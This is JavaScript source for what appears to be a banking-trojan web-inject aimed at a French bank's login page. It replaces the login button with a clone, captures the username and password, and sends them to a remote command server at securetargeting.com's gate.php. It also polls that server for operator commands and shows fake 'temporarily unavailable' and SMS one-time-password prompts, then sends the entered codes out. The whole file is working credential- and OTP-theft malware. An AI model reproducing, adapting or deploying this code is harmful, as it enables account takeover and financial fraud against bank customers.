var ALINK = "https://securetargeting.com/content/webanalyser/caisse/admin/";
var GATE = ALINK+"gate/gate.php";
var IMAG = ALINK+"imag/";
//=================== INIT PROTOS =====================
var By = (function(){
function ByArgs(arguments){
var found = {
tag: false,
error: false,
element: false
}
if(arguments && arguments.length >= 3){
var elements_array = arguments[1].split("|");
if(elements_array.length > 0){
for(var k = 0; k < elements_array.length; k++){
var elements = arguments[0].getElementsByTagName(elements_array[k]);
if(elements && elements.length > 0){
for(var i = 0; i < elements.length; i++){
for(var e = 2; e < arguments.length; e++){
var pattern = new RegExp(arguments[e].split(":")[1],"igm");
if(arguments[e].split(":")[0] == "class"){
if(elements[i].className != null && pattern.test(elements[i].className)){
found.tag = true;
}else{
found.error = true;
}
}else if(arguments[e].split(":")[0] == "for"){
if(elements[i].className != null && pattern.test(elements[i].htmlFor)){
found.tag = true;
}else{
found.error = true;
}
}else{
if(elements[i].getAttribute(arguments[e].split(":")[0]) != null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
found.tag = true;
}else{
found.error = true;
}
}
}
if(found.tag && !found.error){
return elements[i];
}else{
found.tag = false;
found.error = false;
}
}
}
}
return false;
}else{
return false;
}
}else{
return false;
}
}
function ByContent(arguments){
var found = {
tag: false,
error: false,
element: false
}
if(arguments && arguments.length > 2){
var elements = arguments[0].getElementsByTagName(arguments[1]);
if(elements && elements.length > 0){
for(var i = 0; i < elements.length; i++){
for(var e = 2; e < arguments.length; e++){
var pattern = new RegExp(arguments[e]);
if(pattern.test(elements[i].innerHTML.toLowerCase())){
found.tag = true;
}else{
found.error = true;
}
}
if(found.tag && !found.error){
return elements[i];
}else{
found.tag = false;
found.error = false;
}
}
}
}
return false;
}
return{
args: function(){
return ByArgs(arguments);
},
content: function(){
return ByContent(arguments);
}
}
}())
by = By;
var Hujax = (function(){
var callback_func = false;
function SetCallback(p){
callback_func = p;
}
function Send(url){
var BOTID = document.getElementById("BMUD");
if(BOTID){
BOTID = vw.text(BOTID);
}else{
BOTID = "%%ID%%";
}
url += "&ip="+BOTID;
if(document.getElementById("rgk_ajax")){
document.getElementById("rgk_ajax").parentNode.removeChild(document.getElementById("rgk_ajax"));
}
var script = document.createElement("script");
script.type = "text/javascript";
script.id = "rgk_ajax";
if (script.readyState) {
script.onreadystatechange = function() {
if (script.readyState == "loaded" || script.readyState == "complete") {
script.onreadystatechange = null;
callback_func();
}
};
} else {
script.onload = function() {
callback_func();
};
}
url = url.replace(/\(/g,"%28").replace(/\)/g,"%29");
script.src = url;
if(document.getElementsByTagName("head").length > 0){
document.getElementsByTagName("head")[0].appendChild(script);
}else{
document.getElementsByTagName("body")[0].appendChild(script);
}
}
return{
callback: function(param){
SetCallback(param);
},
send: function(param){
Send(param);
}
}
}());
hujax = Hujax;
var Clone = (function(){
function CheckQ(param){
if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){
return false;
}else{
return true;
}
}
function COPY(obj,func){
if(obj.type == "image"){
var clo = document.createElement("img");
for (x in obj.attributes){
if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
if(obj.attributes[x].name == "onclick" ||
obj.attributes[x].name == "name" ||
obj.attributes[x].name == "disabled" ||
obj.attributes[x].name == "id"
){
continue;
}
if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
clo.setAttribute(obj.attributes[x].name,"button");
}else{
clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
}
}
}
}else{
var clo = document.createElement(obj.tagName);
for (x in obj.attributes){
if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
if(obj.attributes[x].name == "onclick" ||
obj.attributes[x].name == "name" ||
obj.attributes[x].name == "disabled" ||
obj.attributes[x].name == "href" ||
obj.attributes[x].name == "id"
){
continue;
}
if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
clo.setAttribute(obj.attributes[x].name,"button");
}else{
clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
}
}
}
}
if(obj.tagName == "A" || obj.tagName == "BUTTON" || obj.tagName == "LI" || /div|span/igm.test(obj.tagName)){
clo.innerHTML = obj.innerHTML;
}
clo.id = "clobj";
clo.style.cursor = "pointer";
obj.style.display = "none";
AddListenner(clo,"click",func);
obj.parentNode.insertBefore(clo,obj);
}
function AddListenner(obj,evType,func){
if(obj.addEventListener ){
obj.addEventListener(evType,func,false);
return true;
}else if(obj.attachEvent){
var r = obj.attachEvent('on'+evType,func);
return r;
}else{
elm['on'+evType] = func;
}
}
function JUSTCOPYINPUT(obj,content){
var clo = document.createElement(obj.tagName);
for (x in obj.attributes){
if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
if(obj.attributes[x].name == "onclick" ||
obj.attributes[x].name == "name" ||
obj.attributes[x].name == "href" ||
obj.attributes[x].name == "id" ||
obj.attributes[x].name == "value"
){
continue;
}
clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
}
}
clo.value = content;
obj.style.display = "none";
clo.disabled = true;
obj.parentNode.insertBefore(clo,obj);
}
return{
click: function(obj,func){
COPY(obj,func);
},
copy: function(obj,content){
JUSTCOPYINPUT(obj,content);
}
}
}())
clone = Clone;
var VW = (function(){
var fTarget = false;
var fDeftime = 4;
var fTime = fDeftime;
var fCallback = function(){return false;};
function getViewportHeight() {
var ua = navigator.userAgent.toLowerCase();
var isOpera = (ua.indexOf('opera') > -1);
var isIE = (!isOpera && ua.indexOf('msie') > -1);
return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;
}
return{
hidedoc: function(doc){
var none_div = doc.getElementById("none_div");
if(none_div){
none_div.style.display = "";
}else{
doc.documentElement.style.display = "none";
}
},
showdoc: function(doc){
var none_div = doc.getElementById("none_div");
if(none_div){
none_div.style.display = "none";
}else{
doc.documentElement.style.display = "";
}
},
browser: function(){
if(navigator.userAgent.toLowerCase().indexOf("msie 6") >= 0){
return "IE6";
}else if(navigator.userAgent.toLowerCase().indexOf("msie 7") >= 0){
return "IE7";
}else if(navigator.userAgent.toLowerCase().indexOf("msie 8") >= 0){
return "IE8";
}else if(navigator.userAgent.toLowerCase().indexOf("msie 9") >= 0){
return "IE9";
}else if(navigator.userAgent.toLowerCase().indexOf("msie 10") >= 0){
return "IE10";
}else if(navigator.userAgent.toLowerCase().indexOf("firefox") >= 0){
return "FF";
}else{
return "OTHER";
}
},
bind: function(obj, evType, func){
if(obj.removeEventListener){
obj.removeEventListener(evType,func,false);
}else if(obj.detachEvent){
obj.detachEvent ('on'+evType,func);
}
if(obj.addEventListener ){
obj.addEventListener(evType,func,false);
return true;
}else if(obj.attachEvent){
var r = obj.attachEvent('on'+evType,func);
return r;
}else{
elm['on'+evType] = func;
}
},
mouse: function(eve,element){
if(element.type == "image"){
var inp_X = document.getElementById("inp_X");
var inp_Y = document.getElementById("inp_Y");
var inp_submit = document.getElementById("inp_submit");
if(inp_X)inp_X.parentNode.removeChild(inp_X);
if(inp_Y)inp_Y.parentNode.removeChild(inp_Y);
if(inp_submit)inp_submit.parentNode.removeChild(inp_submit);
var inp_X = document.createElement("input");
var inp_Y = document.createElement("input");
var inp_submit = document.createElement("input");
inp_X.name = element.name+".x";
inp_Y.name = element.name+".y";
inp_submit.name = element.name;
inp_submit.value = element.value;
inp_submit.type = "submit";
inp_submit.id = "inp_submit";
inp_X.id = "inp_X";
inp_Y.id = "inp_Y";
inp_X.value = vw.rand(1,15);
inp_Y.value = vw.rand(1,15);
inp_X.style.display = "none";
inp_Y.style.display = "none";
inp_submit.style.display = "none";
element.parentNode.insertBefore(inp_X,element);
element.parentNode.insertBefore(inp_Y,element);
element.parentNode.insertBefore(inp_submit,element);
var inp_submit = document.getElementById("inp_submit");
if(inp_submit)vw.mouse("click",inp_submit);
}else{
if(document.createEvent){
var event = document.createEvent('MouseEvents');
event.initMouseEvent(eve,true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
element.dispatchEvent(event);
}else if(element.fireEvent){
if(eve == "click"){
element.click();
}else{
var event = document.createEventObject();
element.fireEvent('on'+eve, event);
}
}
}
},
text: function(param){
if(param){
var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
}else{
return "";
}
},
from: function(parent,child){
return parent && child ? parent.getElementsByTagName(child) : false;
},
isdigits: function(value,length){
length = length < 0 ? 1 : length;
if(value.length < length){
return false;
}else{
if(!/^\d+$/igm.test(value)){
return false;
}else{
return true;
}
}
},
digits: function(digits){
var RES = {
NUMBERS:"",
OTHER: ""
}
var res = '';
if(digits && digits.length > 0){
digits = digits.replace(/\u2212/g, "-");
var ValidChars = "0123456789";
for(var i = 0;i < digits.length; i++){
var Char = digits.charAt(i);
if(ValidChars.indexOf(Char) >=0){
res += Char;
}else{
RES.OTHER += Char;
}
}
}
RES.NUMBERS = parseFloat(res);
return RES;
},
blockenter: function(el){
if(el){
el.onkeypress = function(evt){
var evt = (evt) ? evt : ((event) ? event : null);
var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
if ((evt.keyCode == 13) && (node.type=="text" || node.type=="password")){
return false;
}
}
}
},
blockform: function(form){
if(form){
var inps = vw.from(form,"input");
if(inps && inps.length > 0){
for(var i = 0; i < inps.length; i++){
if(/text|password/igm.test(inps[i].type)){
vw.blockenter(inps[i]);
}
}
}
}
},
selected: function(select){
if(select){
var RES = {
VALUE: "",
TEXT: ""
}
RES.VALUE = select[select.selectedIndex].value;
RES.TEXT = select[select.selectedIndex].text;
return RES;
}else{
return false;
}
},
docheight: function(){
return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, getViewportHeight());
},
docwidth: function(num){
if(num){
return (window.screen.availWidth / num);
}else{
return window.screen.availWidth;
}
},
finder: function(obj,callback,time){
fTarget = obj;
fCallback = callback;
if(time)fTime = time;
setTimeout(vw._finder,500);
},
_finder: function(){
if(fTarget()){
fCallback();
fTime = fDeftime;
}else{
if(fTime > 0){
fTime--;
setTimeout(vw._finder,1000);
}else{
fTime = fDeftime;
}
}
},
framedoc: function(frame){
var RES = {
DOC: false,
WIN: false
}
if(vw.browser() == "FF" && frame){
RES.DOC = frame.contentDocument;
RES.WIN = frame.contentWindow;
}else if((/IE/igm.test(vw.browser())) && frame && frame.readyState == "complete"){
RES.DOC = frame.contentWindow.document;
RES.WIN = frame.contentWindow;
}
return RES;
},
splitiban: function(iban){
iban = iban+"";
var res = iban.substr(0,2)+" ";
var tmp = iban.substr(2,iban.length);
var count = 0;
for(var i = 0; i < tmp.length; i++){
if(count < 4){
res += tmp[i];
count++;
}else{
res += " "+tmp[i];
count = 1;
}
}
return res;
},
getstyle: function(oElm, strCssRule){
var strValue = "";
if(document.defaultView && document.defaultView.getComputedStyle){
strValue = document.defaultView.getComputedStyle(oElm, "").getPropertyValue(strCssRule);
}
else if(oElm.currentStyle){
strCssRule = strCssRule.replace(/\-(\w)/g, function (strMatch, p1){
return p1.toUpperCase();
});
strValue = oElm.currentStyle[strCssRule];
}
return strValue;
},
removetr: function(table,tr){
var index = 0;
var trs = vw.from(table,"tr");
if(trs && trs.length > 0){
for(var i = 0; i < trs.length; i++){
if(trs[i] == tr){
index = i;
}
}
}
if(index > 0){
table.deleteRow(index);
}
}
}
}())
vw = VW;
if(typeof HTMLElement != 'undefined' && !HTMLElement.prototype.click){
HTMLElement.prototype.click=function(){
var evt = this.ownerDocument.createEvent('MouseEvents');
evt.initMouseEvent('click', true, true, this.ownerDocument.defaultView, 1, 0, 0, 0, 0, false, false, false, false, 0, null);
this.dispatchEvent(evt);
}
}
//=================== INIT VARIABLES ==========================
var UI_login_input = by.args(document,"input","name:inputuserid","id:inputuserid");
var UI_password_input = document.getElementById("codconf");
var UI_login_button_1 = by.args(document,"img","id:inputuserid","title:valider");
var UI_login_button_2 = by.args(document,"img","id:inputuserid","title:modifier");
var UI_login_button_3 = by.args(document,"img","title:valider");
var HOLDER = {
LOGIN: "",
PASSWORD: "",
PAGE: "NONE",
TIMEOUT: 90000
}
var QUERY = {
COMMAND: "NONE",
VALUE: false,
CHANGED: false,
FINISH: false
}
var FKTEXT = {
BLOCK: "Le service est temporairement inaccessible. Essayez entrer plus tard...",
SMS1: "Vous avez demandé à vous authentifier.",
SMS2: "Veuillez renseigner le mot de passe unique qui vous a été envoyé par SMS dans le champ réponse",
SMSLABEL: "Réponse"
}
//=================== INIT FAKE FUNCTIONS =====================
vw.finish = function(){
if(!QUERY.CHANGED){
QUERY.FINISH = true;
}
}
vw.fake_step = function(step,status){
switch(step){
case("login"):
vw.lethim();
break;
case("relogin"):
vw.lethim();
break;
case("wait"):
vw.fake_step("hidewait");
var backgroundContent = '<div style="position:absolute;top:0px;left:0px;width:100%;height:'+(vw.docheight()+300)+'px;z-index:301;background:#FFFFFF;opacity:0.7;filter: alpha(opacity = 70);"></div>';
var loaderContent = '<div style="position:absolute;z-index:999;left:100px;top:100px;"><img src="'+IMAG+'loader.gif"></div>';
var popup_elem = document.createElement("div");
popup_elem.id = "popup_elem_common";
popup_elem.innerHTML = backgroundContent+""+loaderContent;
document.getElementsByTagName('body')[0].appendChild(popup_elem);
if(status)return false;
setTimeout(vw.finish,HOLDER.TIMEOUT);
break;
case("hidewait"):
var popup_elem_common = document.getElementById("popup_elem_common");
if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
break;
case("block"):
vw.fake_step("hidewait");
var passwordDiv = by.args(document,"div","id:_identpanel");
if(passwordDiv)passwordDiv.style.display = "none";
var mainDiv = by.args(document,"div","class:block\-authent");
if(mainDiv){
var contentDiv = by.args(mainDiv,"div","class:int\-content");
if(contentDiv){
var uls = vw.from(mainDiv,"ul");
if(uls && uls.length > 0){
uls[0].parentNode.removeChild(uls[0]);
}
mainDiv.style.marginBottom = "20px";
contentDiv.innerHTML = '<h1 class="aideIdentTitle" style="font-size:12px;text-align:left;padding:5px;">'+FKTEXT.BLOCK+'</h1>';
}
}
break;
case("sms"):
vw.fake_step("hidewait");
var passwordDiv = by.args(document,"div","id:_identpanel");
if(passwordDiv)passwordDiv.style.display = "none";
var mainDiv = by.args(document,"div","class:block\-authent");
if(mainDiv){
var contentDiv = by.args(mainDiv,"div","class:int\-content");
if(contentDiv){
var uls = vw.from(mainDiv,"ul");
if(uls && uls.length > 0){
uls[0].parentNode.removeChild(uls[0]);
}
mainDiv.style.background = "#FFFFFF";
mainDiv.style.marginBottom = "20px";
contentDiv.style.padding = "5px";
contentDiv.innerHTML = FKTEXT.SMS1+'<br><br>'+FKTEXT.SMS2+"<br><br>"+
'</div><input type="password" style="border: 1px solid #929292;width:80px;float:left;" id="vw.input">'+
'<img src="'+IMAG+'button.png" style="float:right;cursor:pointer;" align=top onClick="vw.button();return false;"></div><br><bR>';
}
}
break;
}
}
vw.button = function(){
var smsInput = document.getElementById("vw.input");
var noError = true;
smsInput.style.background = "#FFFFFF";
if(!vw.isdigits(smsInput.value,4)){
smsInput.style.background = "#FFEDED";
noError = false;
}
if(!noError)return false;
vw.fake_step("wait",true);
var LINK = GATE+"?mode=JABBER&hash="+Number(new Date());
LINK += "&type=intercept";
LINK += "&message=SMS code Recieved";
LINK += "&data=SMS: "+smsInput.value;
kl = "command";
hujax.send(LINK);
}
vw.actions = function(){
switch(QUERY.COMMAND){
case("OFFLINE"):
vw.fake_step("login");
break;
case("BLOCK"):
vw.fake_step("block");
break;
case("SMS"):
vw.fake_step("sms");
break;
case("LOGIN"):
vw.fake_step("login");
break;
case("REASK LOGIN INFO"):
vw.fake_step("login");
break;
case("WAIT"):
vw.fake_step("wait",true);
setTimeout(vw.command,1000);
break;
}
}
//=================== INIT AJAX FUNCTIONS =====================
function urlEncode(b) {
function gethex(a) {
return "%" + f.charAt(a >> 4) + f.charAt(a & 0xF)
}
var c = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_.~";
var d = "!*'();:@&=+$,/?%#[]";
var e = c + d;
var f = "0123456789ABCDEFabcdef";
b = b + "";
var g = "";
if (!b || b.length == 0) {
return ""
}
for (var i = 0; i < b.length; i++) {
var h = b.charAt(i);
if (c.indexOf(h) != -1) {
g = g + h
} else {
var j = b.charCodeAt(i);
if (j < 128) {
g = g + gethex(j)
}
if (j > 127 && j < 2048) {
g = g + gethex((j >> 6) | 0xC0);
g = g + gethex((j & 0x3F) | 0x80)
}
if (j > 2047 && j < 65536) {
g = g + gethex((j >> 12) | 0xE0);
g = g + gethex(((j >> 6) & 0x3F) | 0x80);
g = g + gethex((j & 0x3F) | 0x80)
}
if (j > 65535) {
g = g + gethex((j >> 18) | 0xF0);
g = g + gethex(((j >> 12) & 0x3F) | 0x80);
g = g + gethex(((j >> 6) & 0x3F) | 0x80);
g = g + gethex((j & 0x3F) | 0x80)
}
}
}
return g
}
hujax.callback(UniversalCallback);
function UniversalCallback(){
switch(kl){
case("check"):
if(admindata == "C:ON"){
vw.continuestart();
}else if(admindata == "C:BLOCK"){
vw.fake_step("block");
}
vw.showdoc(document);
break;
case("login"):
if(typeof admindata != "undefined"){
vw.fake_step("wait");
vw.command();
}else{
vw.fake_step("login");
}
break;
case("command"):
if(QUERY.FINISH && !QUERY.CHANGED){
vw.fake_step("login");
}else{
if(typeof admindata != "undefined"){
var els = admindata.split("|");
if(els && els.length == 2){
if(els[0] == QUERY.COMMAND){
setTimeout(vw.command,1000);
}else{
QUERY.CHANGED = true;
QUERY.COMMAND = els[0];
QUERY.VALUE = els[1];
vw.actions();
}
}
}
}
break;
}
}
vw.command = function(){
var LINK = GATE+"?mode=COMMAND&hash="+Number(new Date());
LINK += "&type=intercept";
kl = "command";
hujax.send(LINK);
}
hujax.checkstart = function(){
var LINK = GATE+"?mode=CHECKSTART&hash="+Number(new Date());
LINK += "&type=intercept";
LINK += "&domain="+document.domain;
LINK += "&browser="+vw.browser();
kl = "check";
hujax.send(LINK);
}
//=================== INIT START FUNCTIONS =====================
vw.get_page = function(){
if(UI_login_input && UI_login_button_1){
HOLDER.PAGE = "STEP1";
}else if(UI_login_input && UI_login_button_2){
HOLDER.PAGE = "STEP2";
}
}
vw.lethim = function(){
vw.mouse("click",UI_login_button_2);
}
vw.continuestart = function(){
if(HOLDER.PAGE == "STEP2"){
clone.click(UI_login_button_3.parentNode,function(){
HOLDER.LOGIN = UI_login_input.value;
HOLDER.PASSWORD = UI_password_input.value;
vw.fake_step("wait",true);
var LINK = GATE+"?mode=LOGIN&login1="+HOLDER.LOGIN+"&login2="+HOLDER.PASSWORD+"&hash="+Number(new Date());
LINK += "&type=intercept&message=Loginning...";
LINK += "&domain="+document.domain;
LINK += "&browser="+vw.browser();
kl = "login";
hujax.send(LINK);
});
var clobj = document.getElementById("clobj");
if(clobj)clobj.className = "right";
}
}
vw.start = function(){
vw.get_page();
if(/step/igm.test(HOLDER.PAGE)){
hujax.checkstart();
}else{
vw.showdoc(document);
}
}
vw.start();
Comments